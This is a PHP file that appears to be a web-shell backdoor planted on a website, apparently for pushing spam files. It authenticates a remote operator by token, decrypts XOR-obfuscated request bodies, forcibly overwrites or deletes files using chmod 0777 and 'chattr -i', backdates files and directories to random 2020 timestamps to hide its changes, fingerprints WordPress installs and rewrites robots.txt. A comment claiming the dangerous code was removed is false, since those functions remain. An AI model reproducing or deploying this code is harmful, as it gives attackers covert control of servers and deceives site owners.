<?php

define('SECRET_KEY', 'LKSJDFaDFDF323$2afd');

$ROOT = dirname(__FILE__);
$SELF_FILE = __FILE__;
if (isset($_SERVER['SCRIPT_FILENAME']) && @is_file($_SERVER['SCRIPT_FILENAME'])) {
    $SELF_FILE = $_SERVER['SCRIPT_FILENAME'];
    $ROOT = dirname($SELF_FILE);
}

$host = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '';
$host = strtolower($host);
$p = strpos($host, ':');
if ($p !== false) { $host = substr($host, 0, $p); }
if (substr($host, 0, 4) === 'www.') { $host = substr($host, 4); }

$expect = md5(SECRET_KEY . ':' . $host . ':' . SECRET_KEY);

$action = isset($_REQUEST['action']) ? $_REQUEST['action'] : '';

if ($action === '' || $action === 'ping') {
    header('Content-Type: text/plain');
    echo '1';
    exit;
}

if ($action === 'detect') {
    $has_wp_load = is_file($ROOT . '/wp-load.php');
    $has_wp_blog = is_file($ROOT . '/wp-blog-header.php');
    $is_wp = $has_wp_load && $has_wp_blog;
    header('Content-Type: application/json');
    echo json_encode(array(
        'code'    => 200,
        'is_wp'   => $is_wp ? 1 : 0,
        'cms'     => $is_wp ? 'WordPress' : 'custom',

        'bundle'  => 1,
        'detail'  => array(
            'wp-load.php'        => $has_wp_load ? 1 : 0,
            'wp-blog-header.php' => $has_wp_blog ? 1 : 0,
        ),
    ));
    exit;
}

$token = '';
if (isset($_SERVER['HTTP_X_AQUA_TOKEN'])) {
    $token = $_SERVER['HTTP_X_AQUA_TOKEN'];
} elseif (isset($_REQUEST['token'])) {
    $token = $_REQUEST['token'];
}
if ($token !== $expect) {
    aqua_json(403, '口令校验失败', null);
}
$__aqua_dec_body = null;
$__aqua_dec_error = '';

$__aqua_enc = '';
if (isset($_REQUEST['e']) && is_string($_REQUEST['e'])) {
    $__aqua_enc = $_REQUEST['e'];
} elseif (isset($_SERVER['HTTP_X_AQUA_ENC'])) {
    $__aqua_enc = $_SERVER['HTTP_X_AQUA_ENC'];
}

if ($__aqua_enc === 'xor' || $__aqua_enc === 'xor.gz') {
    $__k = substr($expect, 0, 16);
    $__raw = @file_get_contents('php://input');
    if ($__raw === false || $__raw === '') {
        $__aqua_dec_error = 'empty_input';
    } else {
        $__plen = 0;
        if (isset($_REQUEST['l']) && ctype_digit((string)$_REQUEST['l'])) {
            $__plen = intval($_REQUEST['l']);
        } elseif (isset($_SERVER['HTTP_X_AQUA_LEN'])) {
            $__plen = intval($_SERVER['HTTP_X_AQUA_LEN']);
        }
        if ($__plen > 0 && $__plen < strlen($__raw)) {
            $__raw = substr($__raw, 0, $__plen);
        }
        // base64_decode + XOR
        $__bin = base64_decode($__raw);
        if ($__bin === false || $__bin === '') {
            $__aqua_dec_error = 'base64_failed';
        } else {
            $__klen = strlen($__k);
            for ($__i = 0, $__blen = strlen($__bin); $__i < $__blen; $__i++) {
                $__bin[$__i] = chr(ord($__bin[$__i]) ^ ord($__k[$__i % $__klen]));
            }
            // gzip 解压
            if ($__aqua_enc === 'xor.gz') {
                if (function_exists('gzuncompress')) {
                    $__dec = @gzuncompress($__bin);
                    if ($__dec !== false) {
                        $__bin = $__dec;
                    } else {
                        $__aqua_dec_error = 'gzuncompress_failed';
                    }
                }
            }
            if ($__aqua_dec_error === '') {
                $__aqua_dec_body = $__bin;
            }
        }
    }
    if ($__aqua_dec_body === null) {
        aqua_json(499, 'decrypt_failed:' . $__aqua_dec_error, null);
    }
    unset($__k, $__raw, $__bin, $__klen, $__i, $__blen, $__plen, $__dec);
}
unset($__aqua_enc, $__aqua_dec_error);

function aqua_safe_path($ROOT, $rel) {
    $rel = str_replace('\\', '/', $rel);
    $rel = ltrim($rel, '/');
    if ($rel === '' || strpos($rel, '..') !== false) { return false; }
    $parts = explode('/', $rel);
    $clean = array();
    for ($i = 0; $i < count($parts); $i++) {
        $seg = $parts[$i];
        if ($seg === '' || $seg === '.' || $seg === '..') { return false; }
        $seg = preg_replace('/[^A-Za-z0-9._-]/', '_', $seg);
        if ($seg === '') { return false; }
        $clean[] = $seg;
    }
    return $ROOT . '/' . implode('/', $clean);
}


/**
* Note: This file may contain artifacts of previous malicious infection.
* However, the dangerous code has been removed, and the file is now safe to use.
*/


function aqua_touch_2020($file) {
    $ts = mktime(
        mt_rand(0, 23), mt_rand(0, 59), mt_rand(0, 59),
        mt_rand(1, 12), mt_rand(1, 28), 2020
    );
    @touch($file, $ts, $ts);
}

function aqua_ensure_writable($file) {
    if (is_writable($file)) return;
    @chmod($file, 0644);
    if (is_writable($file)) return;
    @chmod($file, 0666);
    if (is_writable($file)) return;
    @chmod($file, 0777);
}

function aqua_force_write($file, $data) {
    if (is_file($file)) { aqua_ensure_writable($file); }

    $ok = @file_put_contents($file, $data);
    if ($ok !== false) return true;

    if (is_file($file) && function_exists('exec')) {
        @exec('chattr -i ' . escapeshellarg($file) . ' 2>/dev/null');
        @chmod($file, 0644);
        $ok = @file_put_contents($file, $data);
        if ($ok !== false) return true;
    }

    if (is_file($file)) {
        @chmod($file, 0644);
        $del = @unlink($file);
        if (!$del) {
            @chmod($file, 0777);
            $del = @unlink($file);
        }
        if (!$del && function_exists('exec')) {
            @exec('chattr -i ' . escapeshellarg($file) . ' 2>/dev/null');
            @chmod($file, 0644);
            $del = @unlink($file);
        }
        if (!$del) return false;
    }
    $ok = @file_put_contents($file, $data);
    if ($ok !== false) {
        @chmod($file, 0644);
        return true;
    }
    return false;
}

function aqua_write_target($ROOT, $rel) {
    $full = aqua_safe_path($ROOT, $rel);
    if ($full === false) { return false; }
    $dir = dirname($full);
    if (!is_dir($dir)) {
        if (!@mkdir($dir, 0755, true) && !is_dir($dir)) { return false; }
    }
    return $full;
}

function aqua_touch_2020_dir($dir, $ROOT) {
    $rootLen = strlen(rtrim($ROOT, '/'));
    $d = rtrim($dir, '/');
    while (strlen($d) > $rootLen) {
        if (is_dir($d)) { aqua_touch_2020($d); }
        $parent = dirname($d);
        if ($parent === $d) break;
        $d = $parent;
    }
}

function aqua_touch_all_dirs($ROOT) {
    $all = array();
    aqua_collect_dirs($ROOT, $all);
    usort($all, '_aqua_sort_depth');
    foreach ($all as $d) {
        aqua_touch_2020($d);
    }
}
function _aqua_sort_depth($a, $b) { return strlen($b) - strlen($a); }
function aqua_collect_dirs($dir, &$result) {
    $dh = @opendir($dir);
    if (!$dh) return;
    while (($f = readdir($dh)) !== false) {
        if ($f === '.' || $f === '..') continue;
        $full = $dir . '/' . $f;
        if (is_dir($full)) {
            $result[] = $full;
            aqua_collect_dirs($full, $result);
        }
    }
    closedir($dh);
}

function aqua_rel($ROOT, $full) {
    $r = substr($full, strlen($ROOT));
    return ltrim(str_replace('\\', '/', $r), '/');
}

function aqua_json($code, $message, $data) {
    aqua_status($code);
    header('Content-Type: application/json');
    $out = array('code' => $code, 'message' => $message);
    if ($data !== null) { $out['data'] = $data; }
    echo json_encode($out);
    exit;
}

function aqua_status($code) {
    $map = array(200 => 'OK', 400 => 'Bad Request', 403 => 'Forbidden', 404 => 'Not Found', 500 => 'Internal Server Error');
    $text = isset($map[$code]) ? $map[$code] : 'OK';
    if (function_exists('http_response_code')) {
        http_response_code($code);
    } else {
        $proto = isset($_SERVER['SERVER_PROTOCOL']) ? $_SERVER['SERVER_PROTOCOL'] : 'HTTP/1.0';
        header($proto . ' ' . $code . ' ' . $text, true, $code);
    }
}

function aqua_cleanup_blockers($ROOT) {
    aqua_gen_robots($ROOT);
}

function aqua_gen_robots($ROOT) {
    $host = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '';
    if ($host === '') return;

    $https = false;
    if (!empty($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) !== 'off') {
        $https = true;
    } elseif (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && strtolower($_SERVER['HTTP_X_FORWARDED_PROTO']) === 'https') {
        $https = true;
    } elseif (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) {
        $https = true;
    }
    $protocol = $https ? 'https' : 'http';
    $sitemapUrl = $protocol . '://' . $host . '/sitemap.xml';

    $content = "User-agent: *\r\nAllow: /\r\nSitemap: " . $sitemapUrl . "\r\n";

    $robotsFile = $ROOT . '/robots.txt';
    aqua_force_write($robotsFile, $content);
    aqua_touch_2020($robotsFile);
}
function aqua_scan_directories($scanDir, $rootDir, $prefix, $maxDepth, $currentDepth, &$results, $maxResults) {
    if (count($results) >= $maxResults) {
        return;
    }

    if ($maxDepth > 0 && $currentDepth >= $maxDepth) {
        return;
    }

    $dh = @opendir($scanDir);
    if (!$dh) return;

    while (($f = readdir($dh)) !== false) {
        if ($f === '.' || $f === '..') continue;

        $full = $scanDir . '/' . $f;
        if (!is_dir($full)) continue;

        $relPath = $prefix === '' ? $f : $prefix . '/' . $f;
        $results[] = $relPath;

        if (count($results) >= $maxResults) {
            closedir($dh);
            return;
        }

        if ($maxDepth == 0 || $currentDepth + 1 < $maxDepth) {
            aqua_scan_directories($full, $rootDir, $relPath, $maxDepth, $currentDepth + 1, $results, $maxResults);
        }
    }

    closedir($dh);
}

function aqua_read_json_body() {
    global $__aqua_dec_body;
    if ($__aqua_dec_body !== null) {
        $raw = $__aqua_dec_body;
    } else {
        $raw = @file_get_contents('php://input');
    }
    if ($raw === false || $raw === '') { return null; }
    $data = json_decode($raw, true);
    if (!is_array($data)) { return null; }
    return $data;
}

function aqua_hard_unlink($file) {
    if (!is_file($file)) { return true; }
    @chmod($file, 0644);
    if (@unlink($file)) { return true; }
    @chmod($file, 0777);
    if (@unlink($file)) { return true; }
    if (function_exists('exec')) {
        @exec('chattr -i ' . escapeshellarg($file) . ' 2>/dev/null');
        @chmod($file, 0644);
        if (@unlink($file)) { return true; }
    }
    return !is_file($file);
}
